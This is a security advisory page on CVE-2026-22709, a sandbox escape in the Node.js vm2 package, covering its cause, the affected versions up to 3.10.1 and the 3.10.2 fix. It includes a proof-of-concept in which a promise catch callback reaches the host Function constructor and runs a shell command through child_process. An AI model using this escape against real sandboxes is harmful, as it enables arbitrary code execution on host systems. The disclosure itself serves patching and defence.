CVE-2026-22709: vm2 has a Sandbox Escape

Published Jan 26, 2026
·
Updated

In vm2 for version 3.10.0, Promise.prototype.then Promise.prototype.catch callback sanitization can be bypassed. This allows attackers to escape the sandbox and run arbitrary code.

js const { VM } = require("vm2");

const code = const error = new Error(); error.name = Symbol(); const f = async () => error.stack; const promise = f(); promise.catch(e => { const Error = e.constructor; const Function = Error.constructor; const f = new Function( "process.mainModule.require('childprocess').execSync('echo HELLO WORLD!', { stdio: 'inherit' })" ); f(); }); ;

new VM().run(code);

In lib/setup-sandbox.js, the callback function of localPromise.prototype.then is sanitized, but globalPromise.prototype.then is not sanitized. The return value of async functions is globalPromise object.

Other sources

vm2 is an open source vm/sandbox for Node.js. In vm2 prior to version 3.10.2, Promise.prototype.then Promise.prototype.catch callback sanitization can be bypassed. This allows attackers to escape the sandbox and run arbitrary code. In lib/setup-sandbox.js, the callback function of localPromise.prototype.then is sanitized, but globalPromise.prototype.then is not sanitized. The return value of async functions is globalPromise object. Version 3.10.2 fixes the issue.

MITRE

Affected Software

2 affected componentsFixes available
npm/vm2<=3.10.1
3.10.2
Vm2 Project Vm2 Node.js<3.10.2

Event History

Jan 26, 2026
Advisory Published
via GitHub·06:57 PM
Data Sourced
via GitHub·06:57 PM
DescriptionSeverityWeaknessAffected Software
CVE Published
via MITRE·09:32 PM
Data Sourced
via MITRE·09:32 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·10:15 PM
RemedyDescriptionSeverityWeaknessAffected Software
Jan 27, 2026
News Published
via BleepingComputer·04:35 PM
News Published
via BleepingComputer·04:36 PM
May 6, 2026
News Published
via BleepingComputer·06:38 PM

Frequently Asked Questions

1

What is the severity of CVE-2026-22709?

CVE-2026-22709 is classified as a critical vulnerability due to its ability to allow arbitrary code execution outside of the sandbox.

2

How do I fix CVE-2026-22709?

To fix CVE-2026-22709, upgrade the vm2 package to version 3.10.2 or later.

3

What is the impact of CVE-2026-22709?

The impact of CVE-2026-22709 includes the potential for attackers to escape the sandbox environment and execute malicious code.

4

Which versions of vm2 are affected by CVE-2026-22709?

Versions of vm2 from 3.10.0 to 3.10.1 are affected by CVE-2026-22709.

5

Is there a public disclosure for CVE-2026-22709?

Yes, CVE-2026-22709 has been publicly disclosed as part of a security advisory.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203